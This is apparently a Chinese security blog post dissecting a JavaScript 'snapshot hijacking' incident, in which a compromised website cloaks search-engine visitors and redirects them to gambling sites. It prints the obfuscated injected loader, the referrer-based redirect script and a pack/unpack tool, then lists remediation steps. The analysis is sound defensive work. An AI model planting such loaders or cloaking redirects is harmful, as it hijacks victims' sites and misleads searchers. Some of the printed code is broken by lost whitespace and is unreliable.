本文作者:心月

js快照劫持代碼分析及解決方法

心月IT博客 2019-02-27
摘要:一.什么是快照劫持 快照劫持是利用黑客技術拿到了你的ftp,趁你不注意、蜘蛛正抓取你網站的時候把數據換掉(通常是晚上操作),等蜘蛛抓取完你的快照后再把數據換回來,這樣你的網站快照就被劫持了,而且你檢查代碼也發現不了問題,由于修改主站標題、關鍵詞、描述導致快照停留時間長。

一.什么是快照劫持

快照劫持是利用黑客技術拿到了你的ftp,趁你不注意、蜘蛛正抓取你網站的時候把數據換掉(通常是晚上操作),等蜘蛛抓取完你的快照后再把數據換回來,這樣你的網站快照就被劫持了,而且你檢查代碼也發現不了問題,由于修改主站標題、關鍵詞、描述導致快照停留時間長。

二.正文

(1)發現問題

這次研究的是快照劫持之一的js快照劫持。

先普及一下知識點:快照劫持、搜索跳轉其實是黑帽SEO利用站中站腳本自動繁殖文章“能熟練應用快照劫持(流量、爬蟲、權重) 搜索跳轉到自動繁殖文章(站中站腳本)做自己關鍵詞獲取定向流量的方法”搜索引擎快照劫持是通過代碼來判斷和識別蜘蛛訪問的,若正常訪問,則給出正常內容,若判斷到是搜素引擎來訪問,就給出另一個頁面,使搜素引擎抓取快照進行改變,之后判斷來路跳轉。

以下是本次案例記錄:

首先當我們在百度中搜索ip的時候發現了這樣一幕:(客戶資產打碼見諒)

js快照劫持代碼分析及解決方法

從這個頁面中可以看出來此處就是屬于百度快照劫持,點擊后便跳轉到了bc網站:https://www.wtwns860.com/cn/

js快照劫持代碼分析及解決方法

這時候可以重新在百度里搜索這個網站,能夠發現還有其余受害者TNT。

js快照劫持代碼分析及解決方法

    通過點擊他們的鏈接均可以跳轉到bc網站。

(2)初步分析

首先想到的是在首頁可能被植入了惡意代碼,那我們在首頁用ctrl+u來看一下頁面源代碼:

 

js快照劫持代碼分析及解決方法

經過分析,發現圖中TDK的信息存在篡改且被加密了,加密的是中文標題、關鍵、描述,加密的格式經過判斷為Unicode編碼加密,將這三個依次解密后如下圖所示發現被篡改信息。

我一般用站長在線解密工具地址如下:http://tool.chinaz.com/tools/unicode.aspx

js快照劫持代碼分析及解決方法

js快照劫持代碼分析及解決方法

js快照劫持代碼分析及解決方法

(3)JS解密

繼續往下分析可以發現,首頁源代碼被插入了一條js代碼,這里將js代碼格式貼出來供大家參考一下:

<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){returnd[e]}];e=function(){return'w+'};c=1;};while(c--)if(k[c])p=p.replace(newRegExp('b'+e(c)+'b','g'),k[c]);returnp;}('o["ec1nf8m"]["7398"]('g21394k48d68l5haja213946231d6s42t55777bu1ea2rb1cf5jqpbh26ig521394i');',31,31,'x74|x63|x73|x72|x70|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6d|x3c|x6a|x3e|x76|x79|x78|x6e|x75|window|x31|x36|x38|x68|x3a|x62'.split('|'),0,{}))
</script>

發現這個js是個經過加密的密文,我們這里采用站長工具解密JS:

js快照劫持代碼分析及解決方法

    通過圖片可以發現解密后的內容依然是被加密的,入門的同學應該能看出來這里的加密方式吧。沒錯!就是16進制加密,接下來通過16進制字符串編碼解碼得到下圖消息:

js快照劫持代碼分析及解決方法

通過這個得到了js跳轉的https鏈接:https://www.bcdas8.com/v61.js。

PS:這里提供16進制字符串編碼解碼的網站以及js解密的三種解密的方式:

①16進制解碼我覺得這個網站的用起來很舒服:http://snapi.sinaapp.com/(因為有些網站將上述window{...}放進去后無法過濾非16進制字符,而這個網站可以識別16進制字符進行轉換后輸出,不用挨個復制解密。)

②在線方式:最常用的是站長工具&agrave;JS混淆加密壓縮

③第二簡單的方式:將eval直接替換成document.write,將代碼輸出

document.write("<xmp>");
/*eval*/document.write("function(){.....代碼}");
document.write("</xmp>");

④本地方式:可以將下列代碼保存為HTML格式文件保存到本地,將下面js代碼復制進去點擊解碼即可,對于懶得打開站長工具的來說確實很方便。

<!DOCTYPE html PUBLIC "-//W3C//DTDXHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<htmlxmlns="http://www.w3.org/1999/xhtml">
<head>
<metahttp-equiv="Content-Type" content="text/html;charset=utf-8" />
<title>JS解密</title>
</head>
<body>
<script>
a=62;
function encode() {
var code = document.getElementById('code').value;
code = code.replace(/[ ]+/g, '');
code = code.replace(/'/g, "'");
var tmp = code.match(/(w+)/g);
tmp.sort();
var dict = [];
var i, t = '';
for(var i=0; i<tmp.length; i++) {
if(tmp[i] != t) dict.push(t = tmp[i]);
}
var len = dict.length;
var ch;
for(i=0; i<len; i++) {
ch = num(i);
code = code.replace(new RegExp('b'+dict[i]+'b','g'), ch);
if(ch == dict[i]) dict[i] = '';
}
document.getElementById('code').value ="eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)
))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||
e(c);k=[function(e){returnd[e]}];e=function(){return'w+'};c=1};while(c--)if(k[c])p=p.replace(newRegExp('b'+e(c)
+'b','g'),k[c]);return p}("
+ "'"+code+"',"+a+","+len+",'"+dict.join('|')+"'.split('|'),0,{}))";
}
function num(c) {
return(c<a?'':num(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36));
}
function run() {
eval(document.getElementById('code').value);
}
function decode() {
var code = document.getElementById('code').value;
code2 = code.replace(/^eval/, '');
//alert(code);
document.getElementById('code').value = eval(code2);
}
</script>
<textarea id=code cols=80 rows=20>
</textarea>
<input type=button onclick=encode() value=編碼>
<input type=button onclick=run() value=執行>
<input type=button onclick=decode() value=解碼>
</body>
</html>

 

(4)深入研究

這里我們開始繼續研究上節解密后跳轉的鏈接:https://www.bcdas8.com/v61.js,打開瀏覽器將鏈接放入跳轉后便能看到下列js語句:

js快照劫持代碼分析及解決方法

簡單解讀一下該語句:

  1. document.writeln("var s=document.referrer");

  2. /*獲取當前網頁超鏈接的地址url,并把此url的值賦給s */

  3. document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||

    s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )");

  4. /*這里的indexOf是一個方法 s.indexOf("baidu") 的意思是 獲取"baidu"在s中的下標 ,如果s中包含"baidu",就會

    得到一個int類型的數。

  5. ||是或的意思。

  6. if()中的意思是:當前網頁的url地址包含baidu或sogou或soso或sm等的時候,繼續其他語句。*/

  7. document.writeln("location.href="https://www.daswnsr.com/";");

  8. /*這里的location.href= "/url"是當前頁面打開URL頁面,屬于本頁面跳轉。*/

 

PS:這里可以延伸一下,便于遇到不同情況理解跳轉的原理,js跳轉有很多用法:

1.self.location.href="/url"當前頁面打開URL頁面;

2.this.location.href="/url"當前頁面打開URL頁面;

3.parent.location.href="/url"在父頁面(上一層頁面)打開新頁面;

4.top.location.href="/url"在頂層(最外層)頁面打開新頁面;

5.location.href="/url"當前頁面打開URL頁面;

6.window.location.href="/url"當前頁面打開URL頁面;

通過理解這個js語句便可以了解到這是一個先判斷再跳轉的js。當用搜索引擎訪問的時候就會匹配上從而跳轉到下一個鏈接,當瀏覽器中直接輸入網站地址時則顯示正常頁面,從而提高隱蔽性。

接下來我們再看一下這個網站的主頁:

js快照劫持代碼分析及解決方法

確認這只是一個用來跳轉到下一個地址的中轉站。也可以理解為有可能存在很多被掛了js跳轉的鏈接都先跳轉到此網站再統一跳轉到下一個網站,這樣的做法就是為了收錄。拿這個案例來說:

通過site搜索該網站可以看到博彩網排名第一:site: www.***.com.cn/。相信排名第一的好處就不用多說了吧^_^。

js快照劫持代碼分析及解決方法

最后回歸我們正題,點擊上述js文件跳轉的鏈接,通過burp抓包截斷查看頁面源代碼可以看到該頁面通過跳轉到/zh-cn以及/zh-cn/后就直接跳轉到了https://www.wtwns860.com/之后跳轉到了https://www.wtwns860.com/cn/目錄

js快照劫持代碼分析及解決方法

js快照劫持代碼分析及解決方法

這里解讀一下js代碼中的這一條:

  1. <meta http-equiv="refresh [刷新-這里指定動作]"

  2. content="0.1 [這里是時間];

  3. url=/cn [這里是跳轉的URL]">

 

可以發現這都是刷新后再0.1秒內自動跳轉的意思。

接下來可能會有小伙伴對于跳轉到這個/zh-cn/后,直接就跳轉到bc網站有疑惑,我當時也有同樣的疑惑,因為到這里burp就再沒有抓到數據包,于是我便用burp把獲取到的數據包發送到Reperter后,主動請求后從響應包中成功獲取到了跳轉的js地址:

js快照劫持代碼分析及解決方法

打開鏈接后聯系上面所講述的內容可以發現,js中的最后一條window.location= siteAry[_index];立刻跳轉到數組中定義的頁面,也就是博彩頁面啦。

js快照劫持代碼分析及解決方法

三.總結

后記,所有被掛了跳轉鏈接的網頁中絕大多數都是建立在網站被getshell的基礎上的,所以當你在維護網站的時候不能僅僅只刪除js代碼,還要系統性的對網站內的文件進行對比找出后門,不然只是治標不治本。

下面給幾條遇到該問題時的解決方法:

1.看網站目錄內有沒有被上傳的tools目錄或tools類型文件。

2.校驗文件-修改替換原始文件-設定404-舉報/更新快照。

3.排查程序所有upload的功能,是否有漏洞,以及排查已經上傳的文件是否有偽裝為jpg之類的可執行文件。

4.檢查所有程序文件,刪除非項目中的文件。

5.排查進程是否有可疑的,找到進程文件,然后結束進程,想辦法刪除文件。

6.使用安全狗或者防火墻,對外打開cdn加速。

到這里我們這次的js快照劫持代碼分析以及針對如何跳轉的溯源就到這里啦,希望這次寫的文章能讓大家系統性的了解到js的劫持方式以及跳轉原理。當各位管理員或者運維人員遇到此情況時能迅速排查問題,找出原因,并對網站進行加固。接下來我還會根據項目中遇到的這類事件進行真實案例針對性分析,希望能夠讓不了解的同學們對這個了解,了解一點的人懂得該如何去防范。這幾天最流行這句話:BUG是代碼產生的,代碼是人寫的,所以人才是最大的漏洞。所以看完這個文章如果有什么建議和疑問都可以留言,有建議我會采納并改進,有疑問我也會在我能力范圍內給你合理的解釋。End。

 

文章版權及轉載聲明:

作者:心月 本文地址:http://www.rawkpk.live/websecurity/144.html發布于 2019-07-01
文章轉載或復制請以超鏈接形式并注明出處心月IT博客

分享到:
贊(

發表評論

快捷輸入:

    評論列表 (有 0 條評論,人圍觀)參與討論